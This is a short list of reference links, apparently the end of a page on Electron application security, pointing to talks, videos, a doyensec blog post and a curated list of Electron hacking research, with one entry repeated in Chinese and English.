- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
- 更多关于Electron安全的研究和文章在 [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
- More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)